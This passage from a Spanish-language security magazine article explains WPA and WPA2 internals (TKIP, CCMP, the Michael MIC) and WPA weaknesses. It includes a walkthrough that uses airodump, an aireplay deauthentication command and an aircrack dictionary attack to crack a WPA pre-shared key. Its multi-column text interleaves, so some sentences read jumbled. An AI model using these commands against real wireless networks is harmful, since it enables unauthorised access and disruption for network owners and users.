lado en este segundo mensaje. Al MSDU, mientras que en CCMP se ción MAC del transmisor (incluido
ser recibido este, el autenticador calcula desde MPDU. para prevenir colisiones IV) y los
instala la nueva GTK (tras verificar Al igual que WEP, TKIP está ba- 32 bits más altos del IV. La fase 2
el valor MIC). sada en el algoritmo de encriptación incluye el resultado de la fase 1 y los
También existe un STAkey RC4, pero esto es así tan sólo por un 16 bits más bajos del IV, cambiando
Handshake, pero no lo vamos a motivo: permitir a los sistemas WEP todos los bits del campo Per Packet
tratar aquí. Soporta la generación la actualización para instalar un pro- Key para cada nuevo IV. El valor IV
de una clave, llamada STAkey, por tocolo más seguro. TKIP se requiere siempre empieza en 0 y es incre-
el punto de acceso para conexiones para la certificación WPA y se inclu- mentado de uno en uno para cada
ad-hoc. ye como parte de RSN 802.11i como paquete enviado, y los mensajes
una opción. TKIP añade medidas cuyo TSC no es mayor que el del
Fase 4: Confidencialidad correctoras para cada una de las último mensaje son rechazados. El
e integridad de datos RSNA vulnerabilidades de WEP descritas resultado de la fase 2 y parte del IV
Todas las claves generadas ante- anteriormente: extendido (además de un bit dummy)
riormente se usan en protocolos componen la entrada para RC4,
que soportan la confidencialidad e • integridad de mensaje: un nuevo generando un flujo de clave que es
integridad de datos RSNA: MIC (Message Integrity Code) XOR-eado con el MPDU de sólo tex-
basado en el algoritmo Michael to, el MIC calculado del MPDU y el
• TKIP (Temporal Key Hash), puede ser incorporado en el soft- viejo ICV de WEP (ver Figura 12).
• CCMP (Counter-Mode / Cipher ware para microprocesadores La computación del MIC utiliza
Block Chaining Message Au- lentos, el algoritmo Michael de Niels Fer-
thentication Code Protocol), • IV: nuevas reglas de selección guson. Se creó para TKIP y tiene un
• WRAP (Wireless Robust Authen- para los valores IV, reutilizando nivel de seguridad de 20 bits (el algo-
ticated Protocol). IV como contador de repetición ritmo no utiliza multiplicación por ra-

www.hakin9.org hakin9 Nº 1/2006 21


Tema caliente

Figura 12. Esquema y encriptación de TKIP Key-Mixing zones de rendimiento, porque debe
ser soportado por el viejo hardware
de red para que pueda ser actuali-
zado a WPA). Por esta limitación, se
necesitan contramedidas para evitar
la falsificación del MIC. Los fallos de
MIC deben ser menores que 2 por
minuto, o se producirá una desco-
nexión de 60 segundos y se esta-
blecerán nuevas claves GTK y PTK
tras ella. Michael calcula un valor de
Figura 13. Computación de MIC utilizando el algoritmo Michael comprobación de 8 octetos llamado

Figura 14. Encriptación CCMP

22 hakin9 Nº 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

MIC y lo añade a la MSDU antes de


la transmisión. El MIC se calcula de Listado 7. Descubriendo redes cercanas
la dirección origen (SA), dirección de # airodump ath0 wpa-crk 0
destino (DA), MSDU de sólo texto y
la TMK apropiada (dependiendo del BSSID PWR Beacons # Data CH MB ENC ESSID
lado de la comunicación, se utilizará 00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo

una clave diferente para la transmi-


BSSID STATION PWR Packets ESSID
sión y la recepción). 00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo
CCMP se basa en la suite de
cifrado de bloques AES (Advanced
Encryption Standard) en su modo Listado 8. Lanzando un ataque de diccionario
de operación CCM, con la clave y los
bloques de 128 bits de longitud. AES $ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap
Opening wpa-psk.cap
es a CCMP lo que RC4 a TKIP, pero
Read 541 packets.
al contrario que TKIP, que se diseñó BSSID ESSID Encryption
para acomodar al hardware WEP 00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
existente, CCMP no es un compro-
miso, sino un nuevo diseño de proto-
colo. CCMP utiliza el counter mode El último protocolo es WRAP, unas mínimas recomendaciones de
junto a un método de autenticación basado también en AES pero utili- seguridad.
de mensajes llamado Cipher Block zando el esquema de encriptación La vulnerabilidad más práctica
Chaining (CBC-MAC) para producir autenticada OCB (Offset Codebook es el ataque contra la clave PSK
un MIC. Mode – encriptación y autenticación de WPA/WPA2. Como ya hemos
Se añadieron algunas caracte- en la misma operación). OCB fue el dicho, la PSK proporciona una al-
rísticas interesantes, como el uso de primer modo elegido por el grupo ternativa a la generación de 802.1X
una clave única para la encriptación de trabajo de IEEE 802.11i, pero se PMK usando un servidor de auten-
y la autenticación (con diferentes abandonó por motivos de propie- ticación. Es una cadena de 256 bits
vectores de inicialización), el cubrir dad intelectual y posibles licencias. o una frase de 8 a 63 caracteres,
datos no encriptados por la auten- Entonces se adoptó CCMP como usada para generar una cadena uti-
ticación. El protocolo CCMP añade obligatorio. lizando un algoritmo conocido: PSK
16 bytes al MPDU, 8 para el enca- = PMK = PBKDF2(frase, SSID,
bezamiento CCMP y 8 para el MIC. Debilidades SSID length, 4096, 256), donde
El encabezamiento CCMP es un de WPA/WPA2 PBKDF2 es un método utilizado
campo no encriptado incluido entre Aunque se han descubierto algunas en PKCS#5, 4096 es el número de
el encabezamiento MAC y los datos pequeñas debilidades en WPA/ hashes y 256 la longitud del resulta-
encriptados, incluyendo el PN de 48- WPA2 desde su lanzamiento, ningu- do. La PTK es derivada de la PMK
bits (Packet Number = IV Extendido) na de ellas es peligrosa si se siguen utilizando el 4-Way Handshake y
y la Group Key KeyID. El PN se in-
crementa de uno en uno para cada
MPDU subsiguiente.
La computación de MIC utiliza el
algoritmo CBC-MAC que encripta un
bloque nonce de inicio (computado
desde los campos de Priority, la
dirección fuente de MPDU y el PN
incrementado) y hace XORs sobre
los bloques subsiguientes para ob-
tener un MIC final de 64 bits (el MIC
final es un bloque de 128-bits, ya que
se descartan los últimos 64 bits). El
MIC entonces se añade a los datos
de texto para la encriptación AES
en modo contador. El contador se
construye de un nonce similar al del
MIC, pero con un campo de contador
extra inicializado a 1 e incrementado
para cada bloque. Figura 15. Una PSK WPA débil ha sido encontrada con Aircrack

www.hakin9.org hakin9 Nº 1/2006 23


Tema caliente

toda la información utilizada para cowpatty se creó para aprovechar ser pre-calculada (y guardada en
calcular su valor se transmite en este error, y su código fuente fue tablas) porque la frase de acceso
formato de texto. usado y mejorado por Christophe está codificada adicionalmente se-
La fuerza de PTK radica en el Devine en Aircrack para permitir gún la ESSID. Una buena frase que
valor de PMK, que para PSK signifi- este tipo de ataques sobre WPA. no esté en un diccionario (de unos
ca exactamente la solidez de la fra- El diseño del protocolo (4096 para 20 caracteres) debe ser escogida
se. Como indica Robert Moskowitz, cada intento de frase) significa que para protegerse eficazmente de
el segundo mensaje del 4-Way el método de la fuerza bruta es muy esta debilidad.
Handshake podría verse sometido lento (unos centenares de frases Para hacer este ataque, el ata-
a ataques de diccionario o ataques por segundo con el último proce- cante debe capturar los mensajes
offline de fuerza bruta. La utilidad sador simple). La PMK no puede de 4-Way Handshake monitorizando

Glosario

• AP – Access Point, punto de acceso, estación base de una • MPDU – Mac Protocol Data Unit, paquete de datos antes de
red Wi-Fi que conecta clientes inalámbricos entre sí y a redes la fragmentación.
de cable. • MSDU – Mac Service Data Unit, paquete de datos después
• ARP – Address Resolution Protocol, protocolo para traducir de la fragmentación.
las direcciones IP a direcciones MAC. • PAE – Port Access Entity, puerto lógico 802.1x.
• BSSID – Basic Service Set Identifier, Dirección MAC del • PMK – Pairwise Master Key, clave principal de la jerarquía de
punto de acceso. pares de claves.
• CCMP – Counter-Mode / Cipher Block Chaining Message • PSK – Pre-Shared Key, clave derivada de una frase de ac-
Authentication Code Protocol, protocolo de encriptación ceso que sustituye a la PMK normalmente enviada por un
utilizado en WPA2, basado en la suite de cifrado de bloques servidor de autenticación.
AES. • PTK – Pairwise Transient Key, clave derivada de la PMK.
• CRC – Cyclic Redundancy Check, pseudo-algoritmo de inte- • RSN – Robust Security Network, mecanismo de seguridad
gridad usado en el protocolo WEP (débil). de 802.11i (TKIP, CCMP etc.).
• EAP – Extensible Authentication Protocol, entorno para va- • RSNA – Robust Security Network Association, asociación de
rios métodos de autenticación. seguridad usada en una RSN.
• EAPOL – EAP Over LAN, protocolo usado en redes inalám- • RSN IE – Robust Security Network Information Element,
bricas para transportar EAP. campos que contienen información RSN incluida en Probe
• GEK – Group Encryption Key, clave para la encriptación de Response y Association Request.
datos en tráfico multicast (también usada para la integridad • SSID – Service Set Identifier, identificador de la red (el mis-
en CCMP). mo que ESSID).
• GIK – Group Integrity Key, clave para la encriptación de da- • STA – Station, estación, cliente wireless.
tos en tráfico multicast (usada in TKIP). • TK – Temporary Key, clave para la encriptación de datos en
• GMK – Group Master Key, clave principal de la jerarquía de tráfico unicast (usada también para la comprobación de la
group key. integridad de datos en CCMP).
• GTK – Group Transient Key, clave derivada de la GMK. • TKIP – Temporal Key Integrity Protocol, protocolo de encrip-
• ICV – Integrity Check Value, campo de datos unido a los da- tación usado en WPA basado en el algoritmo RC4 (como en
tos de texto para la integridad (basado en el algoritmo débil WEP).
CRC32). • TMK – Temporary MIC Key, clave para la integridad de datos
• IV – Initialization Vector, vector de inicialización, datos com- en tráfico unicast (usada en TKIP).
binados en la clave de encriptación para producir un flujo de • TSC – TKIP Sequence Counter, contador de repetición usa-
claves único. do en TKIP (al igual que Extended IV).
• KCK – Key Confirmation Key, clave de integridad que prote- • TSN – Transitional Security Network, sistemas de seguridad
ge los mensajes handshake. pre-802.11i (WEP etc.).
• KEK – Key Encryption Key, clave de confidencialidad que • WEP – Wired Equivalent Privacy, protocolo de encriptación
protege los mensajes handshake. por defecto para redes 802.11.
• MIC – Message Integrity Code, campo de datos unido a los • WPA – Wireless Protected Access, implementación de una
datos de texto para la integridad (basdo en el algoritmo Mi- versión temprana del estándar 802.11i, basada en el proto-
chael). colo de encriptación TKIP.
• MK – Master Key, clave principal conocida por el suplicante y • WRAP – Wireless Robust Authenticated Protocol, antiguo
el autenticador tras el proceso de autenticación 802.1x. protocolo de encriptación usado en WPA2.

24 hakin9 Nº 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

Listado 9. Ejemplo de archivo de configuración de wpa_supplicant


para WPA2

ap_scan=1 # Analiza frecuencias de Radio y selecciona punto §


de acceso apropiado
network={ # Primera red inalámbrica
ssid="some_ssid" # SSID de la red
scan_ssid=1 # Envía petición de prueba para encontrar SSID ocultos
proto=RSN # RSN para WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Autenticación de la clave pre-compartida
pairwise=CCMP # Protocolo CCMP(encriptación AES)
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
}

pasivamente la red inalámbrica o uti- ha producido el 4-Way Handshake


lizar el ataque de desautenticación para este cliente).
para acelerar el proceso. Una vez la red objetivo se ha
Figura 16. Soporte de WPA2 en
De hecho, los dos primeros encontrado, la captura debe ser
Windows XP SP2
mensajes se necesitan para poder lanzada sobre el canal apropiado
intentar adivinar los valores de para evitar perder paquetes nece- el cliente si es posible que existan
PSK. Recordemos que PTK = PRF- sarios mientras escaneamos otros varias sesiones simultáneas.
X (PMK, Pairwise key expansion, canales: El código de integridad de men-
Min(AP_Mac, STA_Mac) || Max(AP_ sajes Michael tiene también debilida-
Mac, STA_Mac) || Min(ANonce, # airodump ath0 wpa-psk 1 des conocidas que provienen de su
SNonce) || Max(ANonce, SNonce)), propio diseño (forzado por el grupo
donde PMK es igual a PSK en Debemos entonces deautenticar de trabajo de 802.11i). La seguridad
nuestro caso. Tras el segundo men- los clientes legítimos, forzándolos a de Michael se basa en que la comu-
saje, el atacante conoce ANonce iniciar un nuevo proceso de auten- nicación esté encriptada. Aunque los
(del primer mensaje) y SNonce (del ticación y permitiéndonos capturar MICs criptográficos están general-
segundo mensaje) y puede empe- los mensajes de 4-Way Handshake. mente diseñados para resistir a este
zar a intentar calcular el valor PSK Aireplay se usa para este ataque, y tipo de ataques de texto conocidos
para calcular PTK y derivar claves deautenticará al cliente deseado con (donde el atacante tiene un mensaje
temporales. Si se adivina correcta- la BSSID especificada enviándole de texto y su MIC), Michael es vulne-
mente la PSK, el MIC del segundo una petición de desautenticación rable a estos ataques, porque es in-
mensaje podría obtenerse con el falsa: vertible. Si se le da un sólo mensaje
correspondiente KCK – y si no se y su valor MIC, se puede descubrir la
consigue, hay que seguir intentan- # aireplay -0 1 -a <BSSID> clave secreta de MIC, así que man-
do adivinarla. -c <client_mac> ath0 tener el secreto del valor de MIC es
Como ejemplo práctico, empe- crítico.
zamos al igual que lo hicimos en El último paso será lanzar un ataque La debilidad final conocida es la
el ejemplo de crackeado de WEP. de diccionario usando Aircrack (ver posibilidad teórica de un ataque con-
Lo primero será activar el modo Listado 8). La Figura 15 muestra los tra el Temporal Key Hash de WPA,
monitor: resultados. que implica una complejidad de ata-
La otra debilidad WPA es una que reducida (de ∂128 a ∂105) bajo
# airmon.sh start ath0 posibilidad de Negación del Servi- ciertas circunstancias (conocimiento
cio durante el 4-Way Handshake. de varias claves RC4).
El siguiente paso descubre las redes Changhua He y John C. Mitchell se WPA/WPA2 se ven sometidas a
cercanas y sus clientes asociados dieron cuenta de que el primer men- vulnerabilidades que afectan a otros
(ver Listado 7). saje del 4-Way Handshake no está mecanismos estándar de 802.11i,
El resultado se puede interpre- autenticado, y cada cliente tiene que como son los ataques con spo-
tar así: un punto de acceso con guardar cada primer mensaje hasta ofing de mensajes 802.1X (EAPoL
BSSID 00:13:10:1F:9A:72 usando que reciban un tercer mensaje válido Logoff, EAPoL Start, EAP Failure
encriptación WPA en el canal 1 (firmado), dejando al cliente poten- etc.), descubiertos por primera vez
con SSID hakin9demo y un cliente, cialmente vulnerable ante el agota- por William A. Arbaugh y Arunesh
identificado por la dirección MAC miento de memoria. Haciendo un Mishra y posibles gracias a una
00:0C:F1:19:77:5C están asocia- spoofing del primer mensaje enviado falta de autenticación. Por último,
dos y autenticados en esta red ina- por el punto de acceso, un atacante es importante destacar que el uso
lámbrica (lo que significa que ya se podría realizar un ataque DoS sobre del protocolo WPA/WPA2 no tiene

www.hakin9.org hakin9 Nº 1/2006 25


Tema caliente

protección alguna frente a ataques


sobre las tecnologías en que se ba- Sobre el autor
san, como puede ser la intercepción Guillaume Lehembre es un consultor de seguridad francés y trabaja en HSC (Hervé
de frecuencias de radio, Negación Schauer Consultants – http://www.hsc.fr) desde 2004. Durante su carrera profesional
del Servicio a través de violaciones ha tratado con auditorías, estudios y tests de penetración, consiguiendo experiencia
de 802.11, de-autenticación, de-aso- en la seguridad inalámbrica. Ha dado conferencias públicas y ha publicado varios artí-
ciación, etc. culos sobre seguridad. Puedes contactar con él en: Guillaume.Lehembre@hsc.fr.

Puesta en práctica
ciación AP, autenticación 802.1X, soluciones de encriptación de alto
en los sistemas 4-Way Handshake etc.). Cuando to- nivel (como VPNs). WPA es una so-
operativos de WPA/ do esté funcionando, wpa_supplicant lución segura para el equipo actua-
WPA2 debería ejecutarse en modo daemon lizable que no soporte WPA2, pero
Windows no incorpora soporte (sustituye la opción -dd por -B). WPA2 será pronto el estándar de la
WPA2 por defecto. Una actualización En Macintosh, WPA2 es soporta- seguridad inalámbrica. No olvides
para Windows XP SP2 (KB893357) do tras la salida de la actualización poner tu equipamiento wireless en
lanzada el 29 de abril de 2005, aña- 4.2 del software Apple AirPort: Los un lugar filtrado y ten a mano una
dió WPA2 y una mejor detección de Macintosh con AirPort Extreme, La conexión tradicional (con cables)
redes (ver Figura 16). Otros siste- estación base AirPort Extreme Base para las redes más importantes
mas operativos de Microsoft tienen Station y AirPort Express. – los ataques de interceptación/
que utilizar un suplicante externo interferencia de radio-frecuencia y
(comercial o de código abierto, co- Sumario los ataques de bajo nivel (violación
mo wpa_supplicant – la versión de Parece claro que la encriptación del estándar 802.11, de-asociación
Windows es experimental). WEP no proporciona suficiente falsa, etc.) siguen pudiendo ser de-
En Linux y *BSD, wpa_suppli- seguridad para las redes inalámbri- vastadores. l
cant estaba listo para cuando salió cas, y que sólo puede ser usado con
el estándar 802.11i. El suplicante
externo soporta un gran número
de métodos EAP y características
En la Red
de gestión de claves para WPA, • http://standards.ieee.org/getieee802/download/802.11i-2004.pdf – Estándar IEEE
WPA2 y WEP. Pueden declararse 802.11i,
varias redes con diferentes tipos • http://www.awprofessional.com/title/0321136209 – Real 802.11 Security Wi-Fi
de encriptación, gestión de claves y Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison Wesley
métodos EAP – el Listado 9 presen- – ISBN: 0-321-13620-9,
ta un simple fichero de configuración • http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – Un ataque inductivo de texto
de WPA2. El lugar por defecto de la contra WEP/WEP2 (Arbaugh),
configuración de wpa_supplicant es • http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Debilidades en el algorit-
mo de programación de claves de RC4 (Fluhrer, Mantin, Shamir),
/etc/wpa_supplicant.conf, y el archi-
• http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt – optimización
vo sólo debería ser accesible para el
h1kari,
usuario root. • http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – Interceptación de comuni-
El daemon wpa_supplicant de- caciones móviles: La inseguridad de 802.11 (Borisov, Goldberg, Wagner),
bería primero lanzarse con privile- • http://airsnort.shmoo.com/ – AirSnort,
gios de root en modo debug (opción • http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine),
-dd), con el controlador adecuado • http://weplab.sourceforge.net/ – Weplab (Sánchez),
(en nuestro ejemplo es -D madwifi • http://www.wifinetnews.com/archives/002452.html – debilidades de WPA PSK
para soportar el chipset Atheros), el (Moskowitz),
nombre de la interfaz (opción -i, en • http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz – Cowpatty, he-
nuestro caso ath0) y la ruta del fiche- rramientas de crackeo de WPA-PSK,
• http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – Análisis del 4-Way
ro de configuración (opción -c):
Handshake de 802.11i (He, Mitchell),
• http://www.cs.umd.edu/%7ewaa/1x.pdf – Análisis inicial de seguridad del están-
# wpa_supplicant
dar IEEE 802.1X (Arbaugh, Mishra),
-D madWi-Fi • http://support.microsoft.com/?kbid=893357 – WPA2 Actualización para Microsoft
-dd -c /etc/wpa_supplicant.conf Windows XP SP2,
-i ath0 • http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant,
• http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, Parte 1,
Todos los pasos teóricos descritos • http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, Parte 2.
son resultado del modo debug (Aso-

26 hakin9 Nº 1/2006 www.hakin9.org